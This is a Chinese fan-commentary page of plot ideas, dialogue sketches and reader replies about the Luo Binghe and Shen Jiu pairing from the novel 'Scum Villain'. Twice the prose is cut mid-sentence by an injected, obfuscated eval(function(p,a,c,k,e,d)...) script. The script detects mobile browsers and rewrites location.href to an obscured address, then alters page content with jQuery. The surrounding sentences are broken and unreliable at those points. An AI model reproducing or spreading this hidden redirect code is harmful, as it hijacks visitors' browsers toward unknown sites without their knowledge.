冰九之间不会再有人死,关系可以找到一个和缓的点,但不会和缓到平淡,只是说两个纠缠算计的人因为所谓的恶相互陪伴,也挺不错的?对其他人,九需要端着,没了九,感觉冰哥也没什么乐子了,闲的慌他可能就毁灭世界然后再毁灭自己了。虽然九对他不好,但是感觉九可以成为他的执念,莫名就成了制约他的人,但是他不会再把九搞成狂傲里的那个样子 —— emmm,其实严格意义上,对其他人来说,“沈垣”的意义就是为了“束缚”冰妹……所以说兜兜转转同人和原文是一模一样吗( —— 也不是吧,毕竟束缚的人和方式原因都不一样,不是吗?我对九感兴趣就是他骨子里的倔,和那种他虽然端着,但他清楚的知道他就是坏,他也不是纯粹的坏,从他会出手救柳就知道 —— 想起来一句话,这世道总是喜欢让理想主义者道心碎裂,让英雄傲骨被折,让好人被千夫所指 —— 是的是的,太顺风顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164495|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水不是上位者想看到的,有人高高在上就会有人承这些因而在深陷泥潭 —— 其实冰九这对CP我也仔细考虑过,我最初的想法是让冰哥穿到渣反的时间线,是沈清秋被夺舍的那一段时间,我给冰哥开了一个特权,只有冰哥能看得到沈清秋,所有人都看不到,沈清秋被夺舍心里肯定不舒服,然后只有自己的小弟子才能看到自己,只好和冰待在一起。冰思想有点阴暗,他觉得这个样子没什么不好,所有人都喜欢那个温柔善良的沈垣,那么他的师尊就只剩他了。冰假意帮九制作身体,实际上是监视和偷偷控制九,九也知道他的心思,只是不清楚动机。接下来跟剧情大差不差,冰去参加仙盟大会,这个时候九已经有身体了,但是还是不稳定,所以只能跟着冰,他们两个一起去参加仙盟大会,这一次秦婉约没有死在怨女缠手上,她被九救了。然后就是一系列的爆种,洛的天魔印出现,被垣推入无间深渊,九别无他法也跟着一起入无间深渊。三年后,冰重回幻花宫,九也在无间深渊恢复记忆。冰一手策划四派联审,企图污蔑垣,抢回九的身体,并且永远将九囚禁在自己身边。九将计就计,在背后煽风点火,偷偷与苍穹派取的联系。九以为自己的计划天衣无缝,但是出了一点纰漏,被冰抓到了。冰偷偷聚集魔族在幻花宫附近,不管后面是赢是输都直接开打,他想用这个方法逼九低头。冰赌对了,九真的低头 冰以为自己赢了一切,欢天喜地去举办婚礼,后来被九一剑刺伤。冰不理解,明明这一次什么都没法发生,为什么九还是不愿意跟他在一起。九告诉冰,他已经恢复上辈子一切的记忆了,冰必须以血了祭,被冰杀掉的人。冰苦笑,眼前的一切开始烟灰云散,原来这一切都是心魔设置的。他忽然感到一阵绝望,哪怕就连在幻境,九连伪装爱他一下都不肯。后面道心不稳,被心魔吞噬,心魔剑重回无间深渊,等下一任主人。 为什么这一篇我不写呢,主要是写到一半,我忽然不太明白冰九之间的感情究竟在哪里,冰为什么一直对九念念不忘。真的只是单纯的一见钟情吗?这里有没有被心魔影响,一开始这一份感情不是出自他的本意呢?写来写去,感觉所有的秘密都掩盖在狂傲线里。不然一段莫名其妙的感情线让我根本磕不下口。不知道有没有人能将狂傲发生什么给描述清楚。如果把狂傲发生的一切都给补完,说不定有很多故事可以有新的开展 —— 哇哦!好棒的开展!有点蠢蠢欲动,容我思考一下,把思路理顺 首先冰哥X沈垣,我个人感觉是很容易爆雷的。尤其是有记忆的冰哥,应该很容易就能发现‘沈清秋’不对劲,接着看见“灵魂体沈九”,一下子发现了两个‘沈清秋’,不知道得笑成什么样子:‘师尊啊,你可真有想法,恶劣如你,居然能被外来者夺舍?’随着剧情发展,冰哥继续笑沈九:‘师尊啊,外来者可是比你受欢迎多了,大家可不曾有人找过你呢?’,冰哥看见沈九恼怒生气,孤独的只有自己能看见,可是那个‘外来者’却被一群人包围……心理开始变态:‘师尊,你看看你,上一世独身一人存活,现在还是只有弟子能看见,果然,你合该是我的’ —— 对对对,冰哥应该是你展开这个样子才对,我就是写的时候哪里感觉怪怪的,他应该有一种那个幸灾乐祸的乐子人才对 幸灾乐祸的乐子人……这还是我们狂傲不羁的暗黑系大男主吗 乐子人这种形容也不对,应该是阴暗疯子那种男鬼才对 ———— 探究下九哥的结局为什么总是囚禁 假设系统带着沈九重生。 ———— 失去记忆九X冰哥 渣反开局,九重回清静峰。 九:怀柔?那是什么东西?要不是这玩意杀不死只能放眼皮子底下看着,我才懒得搭理他。 冰哥:我的‘好’师尊赐下的伤痕,即便现在不再责打,我也会铭记于心。 魔族入侵,沈九让冰哥上台。 冰哥:原来是换了种方法想弄死我,‘师尊’可真是用心良苦。 魔族入侵,沈九不让冰哥上。 冰哥:那些魔族身上有种我感兴趣的气息,可惜沈清秋看太紧,要不然真想抓几个研究一下。 仙魔大会,冰哥表现魔族特征。 九:果然是杂种。 冰哥:师尊这话可真伤人,您亲眼看见弟子犯事了? 九:魔族的畜牲,来修真界意欲如何? 冰哥:弟子一直生活在人界,后面入苍穹山,在您座下那么久,您说弟子意欲如何? 九:油嘴滑舌。看在你护着其他人的份上,给你一条出路,自己下去,别逼我动手。 冰哥:师尊可真是冷漠啊。就不怕弟子一去不回? 九:生死由命、富贵在天,下去吧!(一脚踹出) 后期两者相见。 九:你还敢出现? 冰哥:师尊这话说的,弟子可曾犯下无恶不赦之事? 九:那便清理门户吧。 冰哥将九压入地牢。 冰哥:可曾悔恨? 九:只恨一开始没弄死你。 冰哥:巧了,弟子也觉得,师尊赐下,弟子合该奉还。 ———— 沈九X冰妹 渣反开局,系统不允许九继续打冰妹。 九:看见你就烦,滚远点 冰妹:师尊…… 魔族入侵,系统让冰妹上台。 冰妹:师尊让我上台,一定是信任我。 九:唧唧歪歪又没用的玩意,你让他上去送死? 梦魇之地,九被拉入梦境。 冰妹:师尊……你在这里。 九:什么乱七八糟的玩意,敢算计我。你老实呆着别乱动,看我不将幕后的玩意砍死。 仙魔大会,冰妹额头印起。 九:杂种,半魔。 冰妹:可是师尊,弟子谨遵您的吩咐,一心照料所有人…… 九:血红焰火,你是本该灭绝的天魔族! 冰妹:师尊,您不是说世间万物皆分好坏,却为何因弟子的血脉就要全盘否定? 九:我怎么会遇见这样心智脆弱的玩意,给本尊滚出去,别碍眼(一脚踹下) ———— 再次相遇。 九:你这魔族作出这等姿态是为何? 冰妹:弟子从深渊爬出,就是为了见您啊。 九:别说的如此瘆人,畜牲的惦记只会令人心头发麻。 对打,冰妹胜。 冰妹:师尊,是不是唯有将您困在身边,您才会改变软化? 九:要杀就杀,这样恶心的话语别再说,矫揉造作的杂种。 ———— ———— 所以说无论是冰哥还是冰妹,只要是沈九走,基本上最后只有‘强制爱’一条路。 嗯,冰哥是完全不需要思考的,冰妹在感情上比冰哥还魔疯,强制囚禁只会比冰哥更快。 而沈九也是完全不可能妥协的,最后要么互杀,要么修为全失被囚禁。 呃,除非说,将九哥的壳子打碎,将九哥变成九妹。然后想方设法的给予对方安全感,让九妹察觉到‘自己也是能被人爱着的’,继而走怀柔路线,将缺爱的孩子一点点修正成正常人。 嗯。不过应该不太容易。 所以我真正磕的,应该是九哥X冰哥,双A双强、双恨双杀。 ———— ———— 眼睛里只有成王败寇和愿赌服输 番:系统与最后沦为俘虏的九对话 系统:宿主!你为什么总会将自己搞到这种地步?明明能有那么多机会可以改变的…… 九:无非是成王败寇罢了 系统:冰哥就算了,冰妹可是一腔热血奉上,只希望你稍微能表现一点点善意就行啊! 九:谁要弱者的示好,软弱无力的玩意,不配活在修真界。 系统:宿主你明明在处处留情,却为何始终不愿意说出来?现在得到‘洛冰河’的打击报复,可满意了? 九:罪恶的泥潭里怎么可能开出纯洁的花,当我第一次对他下手时就知晓若是压不住就会玩火自焚。 系统:那你为什么还要下手!又为什么始终不肯收手? 九:我要证明一件事。 系统:什么事? 九:我要证明,这个世道本就是糟糕的,任何人处于我的位置都会变得癫疯而变态。我所经历的一切都是天道的恶意,而这样的恶意无论给了谁,他都会成为我这样的恶人。 系统:…… 系统:所以你用尽后半生来做这件事? 九:他只是比我运气好罢了。最后还不是成为了我的模样? 系统:可是男主本来不需要经历这些的,是你将他拉下水,现在却又说这些? 九:所以我从不曾遮掩这些,也不屑于说些会扰乱其他人心智的话语。一并错误我一肩抗下,洛冰河万不该牵连旁人! 系统:你这个疯子 九:这样的世道之下,哪里有正常人?所谓看起来寻常,只不过是学着披起‘人模人样’的皮囊罢了。 系统:可是你终究是缺爱的,是希望被爱的呀! 九:强者不需要爱恋,只要信念是坚定的,哪怕是毁损灭世,我亦毫不退缩。 系统:那你对岳七…… 九:我已经说过,我厌恶因自己的过错牵连他人,所有被我殃及的池鱼,都在消耗我的愧疚。岳七,不过是感情最复杂的罢了。 系统:那年少岳七的选择…… 九:他可以选择‘回来’与‘不回来’,但他失约了,所以沈九会一直记恨他。同样的,沈九也可以选择‘等待’或‘不等待’,只是沈九一直没寻到合适的机会脱离苦海,所以将‘岳七会回来救他’看得无限重而已。 人生在世哪有那么多如意,无非是你利用我,我利用你罢了。岳七既然想要沈九的‘原谅’,就要付出足够的赔偿;同样的,沈九想要岳七一直给予偏爱,所以他就将过往牢牢记掂。 一切,都是双方的选择罢了。 我这一世,前半生被过往所困,后半生因尝试而跌下泥潭。 一切的一切,都不过是选择罢了。 而选择既然作出,哪有因结局不美满就急哄哄的要求悔棋、死皮赖脸的‘恳求’对方和棋的? 29.重生后师尊没有收我为徒,读后感和脑洞 如果冰发现假心法是九亲自写的 大概是冰发现自己的心法是九‘亲自’写的,心里本该生出感动,却又觉得对方肯定没怀好心(当然结局肯定是九专门为了冰找的) 然后这种情况下,将冰‘丢回’他那个世界里,时间线大致是是冰将九白天当俘虏当成床奴的时间段。 已知:原冰满心憎恨,只想着如何欺压和折辱沈清秋; 现冰已发现沈清秋‘专门为了他写心法’; 那么…… 现冰会如何做呢? ———— 冰:沈清秋,沈清秋,你专门给我写心法,究竟意欲何为? (一番查询,发现这个心法居然很符合半魔的体质) 冰:沈清秋脑子坏掉了?还是他早就知道我是半魔?总不能是无缘无故假好心吧? (回到原世界线) 冰:我回来了?对。我本该回来,这才是我的地盘,我心心念念的,不就是回来? 仆人:尊上,xx妃将沈清秋推入水中,是否将人救上? 冰:他记忆中好像是有这么件事,沈清秋还因此患上风寒,烧的迷糊找他讨酒喝来着。 冰过去看九:九烧的迷迷糊糊,要水却没人动。 冰:差人灌酒。 九:发烧+醉酒,神志不清 冰:沈清秋,你交给洛冰河的心法,究竟从何而来? 九:那个小畜牲?当然是随便捡的。 冰:掐着九的脖子,看着对方苍白的脸,恶声道:沈清秋,你真想死? 九:说的跟我想活似的。这样的活着,倒不如早些死去。 冰入梦,发现九在收徒当天,展开笔墨纸砚,亲自书写誊抄。又在第二天极为随意的丢给明帆,让他带给自己。 可惜明帆以为洛冰河不得沈清秋喜爱,所以压根没打算给,将洛冰河一番‘羞辱’之后,才‘赏赐般’将心法踩上几脚,转身离开。 所以。他的那本心法,确实是沈清秋亲笔所写。只是其中经历明帆的插手,令洛冰河先入为主,一直对‘沈清秋’有着极为恶劣的印象。 而并不愉快的初见(未敬成功拜师茶,被茶杯砸的头破血流,被踩到泥里、与旁人都不同的心法),导致洛冰河一腔热血被浇灭,满心都是‘未遇明主’的悲愤。 再加上洛冰河本可以入和他性子匹配的百站峰,却被沈清秋与柳清歌的争抢,拜入并不合适的山门。 故而,两人的矛盾,从此纠缠不休。 (冰开始觉得自己‘错’了) 冰派人给九治病退热。 九清醒后冷刺:“小畜生,这次想玩什么花样。” 冰:“弟子当真好奇,师尊当年给出的心法,好像与给予其他人的并不相同?” 九:“给杂种的,自然不一样。” 冰:…… 够了!不用时刻提醒他的血脉! 不过这倒也变相说明,沈清秋肯定是知道些什么。 冰:“师尊的记忆里,有些颇有趣味,师尊可想听弟子讲诉一二?” 九:“不想。” 冰:“师尊知道的。弟子想干的事情,从没人能拒绝。” 九:“倾覆天下,生灵涂炭,还有你不想的事情?” 冰:就这张嘴,他是真的很想打一顿啊。 重生沈清秋回到未重生狂傲后期 关于〈重生后师尊没有收我为徒〉的‘这是梦,洛冰河,让我回去’这句话的展开。 ——好像ooc到比原文的冰哥还变态了—— 怪不得他会这么听话,原来是做了个美梦啊。 平静如水的日子里,存在活着的岳清源,和自愿为他瞻前马后、甘心被他捅杀的‘洛冰河’。 都说梦境是最容易展现人心的东西,沈清秋被洛冰河囚禁打压这么久,即便心智没有被破坏,精神的压力也绝对不少。 所以如果真的做美梦,一定会梦到他内心深处最想要的东西。 那么。对沈清秋来说,这就是他想要的? 洛冰河长得很好看,所展现的笑容自然也很令人赏心悦目。只是这份‘美’,沈清秋不会去看,洛冰河自身,也不会多关注。 与异世界的‘沈清秋’相比,他的好师尊想要的确实不多—— 只是可惜—— 洛冰河,一个,也不想给。 凭什么沈清秋的梦境中,要他先认错? 凭什么沈清秋想要的东西,永远要别人主动递交出去? 凭什么沈清秋将他坑成这样,被他凌辱成这样,被他打杀到身后空无一人…… 也坚决的,毫不悔改? 洛冰河没怎么费力气的将沈清秋捞在怀里,将对方明显迷茫、完全不愿意相信事实的脸扭向自己。 他的手指牢牢控住对方的下颚,其用力之大,手背上都显露出明显脉络。沈清秋的脸因圈养而消瘦,紧绷的脸颊与骨骼之间像是长在了一起,坚硬且硌手。 对于一个没什么灵力、随意被压迫的‘俘虏’,洛冰河本不需要耗费多余的气力。 只是他的心情不太好,所以下手也懒得注意轻重。 对方的眼神是失焦的,神情是恍惚的,说出的话语,更是听起来就觉得,想让人‘打醒’的。 “这是梦吧。” “洛冰河,放我回去。” 梦。 他的好师尊,宁可沉浸在虚幻的梦境里,也不愿面对现实。 更不想——与他相处啊。 这个认知,当真是,将洛冰河逗笑了。 另一个世界的‘沈清秋’,早早认识到‘错误’,在他(指沈垣)的努力弥补下,自己的同位体倒是放过了对方。 可惜这一个…… 不仅现实中死活不认错、不服软。 甚至还给自己造了个‘复生洛冰河主动为他当个妥帖弟子,为他送花、将心露出了让他杀’的梦境。 这真是,一点也不‘乖’啊。 ——碎碎念—— 为什么不往下写了呢,一个是这个开展下,要么继续废料,要么开打。 呃,如果是正常情况下我继续写,那就是九用禁术开打,直接走双杀线。 如果是我特别特别想磕CP,想看颜色的时候,可能会写一下废料开展(毕竟最近真的超爱〈娈宠〉),接着大概率……还是杀。。别问,问就是个人特色,真的写不来由折辱转变爱意。 所以就停在这里,就不会也不能再写了。。。 明明我看到这句话的时候,脑子里面就觉得啊,这个真的好适合展开啊,这个真的好好磕啊。 但是如果说真的按照我的想法去将它展开的话。就,不可能存在,嗯,以这个事情为切入点,然后进而转变情况,然后再相爱。 重生九发现冰重生后给自己下记忆禁制 脑洞:〈重生之后师尊没有收我为徒〉中沈清秋对自己的记忆下禁制,部分扩写。 ——碎碎念—— 作者写得非常棒,只是身为一个读者,在读到这个的时候,脑子里面总会设想一些有的没的。而且我个人觉得作者应该不会在这些地方重新开支线、为某位读者展开的—— 所以纯个人扩写,脑海里忍不住蹦出来的画面,记录一下。 ———— ——脑洞—— 沈清秋看见洛冰河的那刻起,整个人的状态就极差。就像是曾经被恶狗咬过,天然的会排斥任何犬类生物不说,对曾经那只伤了自己的畜牲,更是恨不得弄死。 只是太可惜了,洛冰河是死不了的。 关于‘洛冰河究竟怎么样才能弄死’这一点,沈清秋做过无数的假设——当然,没有一条真正靠谱。 这就导致明明沈清秋属于武力巅峰,修真界顶级战力,却害怕洛冰河这个才刚刚踏入修炼之路的弟子。 说出来很可笑,但这个是事实。 一个极其荒谬、无法改变的事实。 所以沈清秋只能躲。 虽然逃避并不能解决问题,但他毕竟也是一条路。比如现在,沈清秋‘缺席’了洛冰河的择师,导致洛冰河极其顺畅的进入百战峰,两人之间从一开始就断绝了联系。 只是既然沈清秋能‘回来’,为何洛冰河不能? 尤其是,对方的进境实在太快了。 虽然沈清秋很不想承认,但他确实在一直关注对方的—— 所以沈清秋知道洛冰河成功拜入柳清歌名下,知道他以武力成为柳清歌席下第一人,知道他现在已成为百战峰年轻一辈的翘楚。 无论走到哪里都有无数小弟弯腰讨好,数不尽的美人争前恐后表达爱意。 一个,多么标准的……主角配置啊。 尤其是,这个主角不仅现实里顺风顺水,脑子里还有个尽职尽责教授本领的魔族大能。就连最为神秘莫测的梦境,都能在他手里变成杀人利器。 如果被他得知,他前世的阶下囚与他一同‘回来了’。 沈清秋不敢想象这一世会闹出什么事情。 连他这样时刻以最大恶意揣测别人的家伙,都中了洛冰河的圈套,没能看穿对方的伪装,逃离悲惨的命运。 那个没脑子的、早早死去的柳清歌,只怕会被对方玩的骨头渣子都不剩。 像是苍穹山的一草一木,修真界的锦绣山河,怕是都要与上一世一般,被一把火付之一炬。 沈清秋的额头开始冒出冷汗,心脏随着快速跳动而砰砰作响。 上一世的经历就像是被编织为‘噩梦’的网,每一件事物具化为绳索深深的将他勒紧,盘踞于他的骨髓与血肉深处,一刻也是不停地肆咬着他的理智。 这样一个睚眦必报、小肚鸡肠的家伙,虽沈清秋自诩为恶毒小人,却也比不过对方万分之一! 若是被这种人盯上…… 若是让对方知道他‘回来并记得’…… 若是让对方觉得‘前世恩怨可以延续到今世’…… 屋外突然刮起了风,竹叶被寒流席卷着、颤动着,发出‘沙沙’的摩擦声。 随着‘轰隆’的一声惊雷,筹谋了半夜的暴雨终于落下,噼里啪啦的砸在地面上。激烈的就像是苍天将一整盆水猛的浇在俘虏脸上,用这样的手段将人弄醒。 随着“吱呀”的推门声响起,半空中的雨点四处崩裂,残存在室内的一丝暖气扑向门口,却在遇到外界的寒风后瞬间消失。 仅仅一个呼吸,竹屋内的气温就降到了与室外同等的寒冷,从天而降的雨水将沈清秋浇个透彻,也彻底绝了他心中生出的一点脆弱—— 我的骨血只为我的信念而奋战,虽能被粉碎,却决不可为他人而弯折。 我的血肉只为我的意愿而焚烧,虽能被毁灭,却决不可为活命而流出。 我的灵魂只为我的本心而存在,虽能被破裂,却决不可为他物而改变。 宁可卑微如蝼蚁,不可扭曲为蛆虫。 他‘回来’了。 当开始与结局重合,现实与梦境难分,恩怨与亏欠交错,初因与终果相逢。 很难说清楚,沈清秋与洛冰河之间,究竟谁先招惹了谁,谁又亏待了谁;更难讲明白,沈仙尊与洛魔尊的爱恨情仇之间,到底谁的过错更大一些。 只是—— 若是能将一切完全错开,他们从一开始就断裂联系,两人之间,是否就不会发生那些过往? 洛冰河将拥有一个正常的、愿意真心待他、不会刻意为难他的师尊; 沈清秋继续自己的平淡生活…… 两人,是不是就能各自拥有完美人生? 当然。虽然这么说可能显得示弱,但活过一次的洛冰河要是真的打算将前尘报复于‘什么也不知情’的‘沈清秋’身上—— 毫无所知、完全无辜的‘沈清秋’,会满足洛冰河的报复欲,能带给洛冰河‘将敌人压在脚下’的统治感吗? 你想报复沈清秋?可‘这个世界的沈清秋’从来都‘什么也不知道’。洛冰河的报复即便是‘成功’的,又有什么成就感? 就算是为了你那莫名其妙的‘仇怨’从前世报复到今生,能依旧将‘沈清秋’压在脚下、踩入泥土。 但无人知晓,也没人能懂啊! 来自一介魔尊的跨越两个世界的报复,可笑竟无人知晓你的‘绸缪’与‘大仇得报’,又该有多‘寂寥’? 洛冰河,你能接受这样的‘现实’吗? 高高在上的三界尊主,却要因‘莫须有’的罪名去打压一个无辜的修真者。 虽然这个人并不是真正‘什么也不知道’—— 但。 也足够恶心对方了。 爱?那是什么鬼东西 作者大大看过来!个人浅见!(穷秋拜月) 个人以为,冰九的核心,从来不是如何将一个不爱自己的人变成爱宠。而是那个被当成俘虏的家伙,从不屈服、绝不软弱、从未认命,用尽浑身解数、施展千般妙法,并始终与周围的一切进行抵抗。 ———— 洛冰河读取了沈九的记忆,知晓他在会议上的异样所在。而沈九那苍白微汗的脸色、许久不曾展露的厌恶神情、两人都无法忘记的劲爆过往,令洛冰河无法理直气壮的说一句“我已经改变了。” 是的。洛冰河已经改变了,这一世的他,尝试着温柔以待,尝试着以‘乖巧弟子’的姿态身份与失忆的沈九和平相处。 但那有什么用呢?偷来的,总归会失去。强迫的,终究不会真的惦念自己。能抢来身躯,如何争夺从不眷顾自己的灵魂? 强制爱,真的是爱吗? 能被强制出来的‘爱意’,从来都是妥协与软弱的退让,何谈‘爱’? 洛冰河不懂,或者说他不想懂。这一世,他没有伤害任何一个沈九在乎的人,也不曾灭世。他自认已经做到了极致,这场攻略游戏,为何局势已被大洗牌,却还是无法获得他的好感? 难道说,这般嘴硬的人,只能强行征服他的躯体,泯灭他的灵魂,让他沉沦于看不见尽头的痛苦与绝望之中,才能剥离出脆弱的内心,进而打动或掌控? ———— 洛冰河变了吗? 是的,他变了,他已经在向‘冰妹’靠近,磨去身上那些尖锐之处,竭尽所能以温柔体贴来伪装自己,将曾经的‘强制夺取’隐藏得极深,只剩下一个‘痴情不移’。 如此痴情的人,如此上穷碧落下黄泉也想追寻于你的人,如此相貌俊美、血统高贵、身份尊崇、修为顶尖之人,却只为你折腰,是何等的童话故事? 这样‘近乎完美’的恋人,若换成他人,早就只羡鸳鸯不羡仙了。 只是沈九不行。 ———— 有记忆的沈九想远离,没记忆的沈九下意识想甩开;有能力的沈九想虐杀甚至诛灭洛冰河,没能力的沈九只能以死不掉、绝不接受的倔强来对抗他人施加的‘欲’。 他记得,记得自己无力反抗的痛苦,记得那些昏暗的、连抬头都看不见月光的、无法拒绝又不得不承受的暴虐房事; 他无法忘却,那个将自己周遭全部灭了个干净,倾覆自己宗门、毁尽所有人性命,甚至连自己所在的家园,都被一把火烧得白茫茫真干净。 是的。他有创伤后遗症。 但他只是有后遗症,没有疯癫、厌世、灭世,已是精神力极强、情绪极为稳定的状况了。 凡此种种,洛冰河只是接受了一个‘年少被虐待、长大被忽视’,都恨不得毁天灭地,将人的灵魂握在手里,反复折磨。 而沈九,堪称早年凄惨,中年乃至死亡都更加悲凉。 而这个新的一世,也被纠缠。 他不该‘恨’吗? 只是他是个读书太多,心思又太过通透的人。 他知道自己杀不死洛冰河,所有的反抗只会激怒他。上一世自己无牵无挂,只剩下一条烂命,自然无所畏惧。 可这一世他身后战了太多人,他又没得到能对抗敌人的力量,除了隐忍与退步,只能自我催眠‘他不记得我’‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176099|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他会将目光只投向我’‘我只要表现平淡一些,不对他上心就好’。 是的,沈九也会懦弱,也会退让,也会软弱的自我催眠。他的能力不足以杀死对方,所以只能寄希望于对方的‘忽视’与‘爱’。 可笑吧,他明明是坚决不会‘爱’洛冰河的,可他又不得不为身后那些人,将‘爱意’放上天平,而另一头,是他所爱着的苍生与众人。 他如何不知道洛冰河对自己那近乎变态的爱意呢? 即便不知,洛冰河每每用那些人威胁自己,沈九又该如何回应? 只是。一个人的爱,是自己都没办法控制的东西。他莫名其妙的来,也毫无办法的去。沈九又没有斯德哥尔摩综合症,他脑子有坑吗,去强迫自己爱上‘那个伤害自己的家伙’? 可若是不能‘爱上’,对沈九来说,事实也太过残忍了些。 洛冰河在旁边虎视眈眈,自己的实力与身后之人加起来,皆无一战之力。 所以,为了‘保全’他们,沈九必须‘爱’或者说‘控制’洛冰河。 可怜吧,可悲吧。 沈九的爱意与婚约,从来不由自己。 除非他能如上一世一样,抛弃一切,以一种‘光脚不怕穿鞋’‘大不了一死了之’的态度面对一切,否则——此局,无解。 ———— 如果沈九也曾得天道眷顾就好了。 如果沈九也有能改变一切的能力就好了。 这就是‘九冰’难以开展的原因——给沈九机会,他只会想方设法弄死洛冰河,以修真界正道魁首的姿态横压一切,做什么要‘爱’洛冰河? 一介男频仙尊,在拥有了能轻易碾压众人、颠覆世界的能力后,不去征战三界,反而要囤于情爱,emmmm……未免有些,儿戏化了。 ————源于被工作逼疯的人———— 冰九为什么能磕,是因为我们普遍希望得到龙傲天的爱。哪怕是暗黑龙傲天,只要他能给予一份‘独宠’,我们都会冒星星眼。 所以,在这种‘爱恋’的前提下,许多的冰九就会出现一种‘沈九不配’的莫名歪掉。 嗯,对我个人来说是大雷。 毕竟以我的世界观来说,沈九只是做了一个正常男频仙尊做的事情,也确实被沦为俘虏和床奴,受尽折磨。 所以,有问题的是那个暗黑龙傲天,在得到了世界之后,开始‘奢望女频师尊受’的温暖,又难以在沈九身上得到,故而越发变态。 而且,洛冰河确实改了,但他真的改变了吗?本质这种东西,能随随便便的动摇吗? 不对吧。他若是真的改变了,就该知道沈九对他的不喜从始到终,就该知道沈九距离他躲的有多远,就该在沈九失忆的时候带他远离人群,换个不认识两人的地方生活。 可惜,他的所作所为,从来都在‘逼迫’。无论是用人命、还是用苍生,亦或是道义、舆论;乃至于,伪装出来的温柔有礼,都是在用另一种方式达成自己目的罢了。 而那个被幻想出来的沈清秋,那个看似灵魂是沈垣的温柔沈清秋—— 洛冰河在做的,不就是‘调’‘教’、‘逼’‘迫’吗? —— 沈九躲得还不够远吗?他甚至比躲岳清源还躲洛冰河快。 沈九这一世做了什么吗?没有吧,唯一算得上出格的,也就是留下一句‘洛冰河为人魔混血,身为一峰之主却从未提出、将其灭杀,自知有错’ 那么。穷追不舍的那个,因为一时执念而追杀两世,将人强行揽入怀里的家伙,就因为他的‘执着与爱意’,就该被人传送,道一句‘痴情人’吗? 洛冰河吃醋、暗恨。 但请问,他以什么样的立场,什么身份去做这种‘嫉妒’的事情? 讲道理啊,洛冰河从头到尾,一直在以武力逼迫好吧!这一世没杀那些人,不正是要用‘活着的众人’来做牵制,用来压制沈九吗? 而没有对等力量的沈九,除了逃避、自我洗脑、远远躲开,竟毫无办法。 甚至于到最后,说不定还真得‘顺势’喜欢上洛冰河,达成两人相宿相飞的成就。 当真悲剧。 ————源于个人的幽怨———— 不死不灭,恢复力极强是吗? 可若是将头颅与心脏剥离,肉身挫骨扬灰,灵魂锁入永不见光明的深海,甚至请人日夜炼化。 即便耗费九牛二虎之力,也是值得的。 ———— ———— 翻来覆去看了好几遍呜呜呜?感谢写这么多!写到心坎上去了…两个人的本质并不会因为重来就能改变,冰做的一切也只是变相的去胁迫九来二选一,“你看,我给你新的一生,不伤你也不动你周围的人,你是不是也应该正眼看看我呢。”然而九不会听这种糖衣炮弹的,对方想用如今安好的一切来PUA自己去心软,但是九很了解冰的黑暗面,明白这仅仅只是另一种伏在暗处的控制欲和想要占有的扭曲心理,所以自然有多远跑多远…冰一直试图让对方放下过去的事情本身就是不公平,当两个人身份地位能力不对等时,高高在上的一方所作所为都像是施舍,暗中给九造成的感受就是:只有他愿意,你才能走到今天。而心高气傲的九是不可能会甘心这一点的 ———— 就像他说那句:我又没让你给过我机会。也是因为事实如此,他从来没有想过对方要做点什么,反而是冰做了许多事后故意去混淆概念,让对方去心软,试图去和解,但九肯定是避之不及的,只会更加排斥这种被人拿捏又试图道德绑架的感受。洛冰河不了解沈清秋是不可能的,两个人相处的时间太久了,洛冰河也太清楚沈清秋是什么性子,如果不用这种隐性胁迫的手段,对方是真的对自己避之不及不可能有一点纠葛,所以冰本质上就是很极端,哪怕用这种手段能暂时得到对方或者与对方产生联系,也是一定会用的。如果说前世只是表面上笑着但手段残忍,那今世就是布了一个只容得下对方和自己和平相处的大局,沈清秋知道但改变不了什么,所以也只能和平相处了。 ———— 正常人如果只是单纯喜欢,那他会为对方退步,如果自己离开能让对方好受就会选择离开。但冰从小就有点极端化(心理比较偏执)明知道师尊不喜欢自己,却能过度解读成是另外一种关怀,依然热切的期待师尊对自己好一些哪怕是在对方明确表现出不喜欢自己的前提下。长大后依然有这种偏执心理,“哪怕我恨透你了,毁了你一切,但你依然不许否认我是你弟子,眼里不许有别人。”也许转世后不在明面上,但本质上依然如此(某种怀柔政策) 总之感谢阅读!感谢长评安利??祝你天天开心呀! ———— ———— 是啊,我看好多冰九,都感觉‘莫名其妙’。一个被伤害的人,因为伤害自己的人一丢丢稍微的‘改变’就‘爱上对方’ 嗯,果然是女频常有的套路。但这件事本身是不对的,伤害了别人,应该是把诚意和错误展开,希望得到谅解,而对方是否‘接受’,一直是被伤害者的权利。但谁让他们地位不对等呢,前期自上而下的漠视,以及后期自上而下的‘折磨’,讲白了,都是地位不对等的情况下,那些对阶级的憎恨——只是,所有人都默认享受高地位带来的尊贵,失去了平等对待他人的心 ———— 是啊,如果说他是一个正常人的话,他会做的是把自己喜欢的东西送给别人,或者说把对方喜欢的东西找到给他,以换得对方的欢心,进而得到夸奖。但他这个本身他的心态是不正确的,或者说在男频的世界观中,所有东西都是要争抢和赐予的。(我比你强,所以你属于我,我对你做的任何事情你都应该接受。)这就是男频普遍思维。而按照这个世界观来说,冰哥所做的,还真是‘他所认为正确’的事情。只是很不巧,爱情是女频的细分领域,除非将对方扁平为‘收入后宫,可以和平共处的妹子’,否则,在如此割裂的世界观下,两个同样骄傲、同样位于高位的尊者,是不可能真正分出‘攻受’的。 30.未完:冰九双重生,冰拜入柳名下 大纲 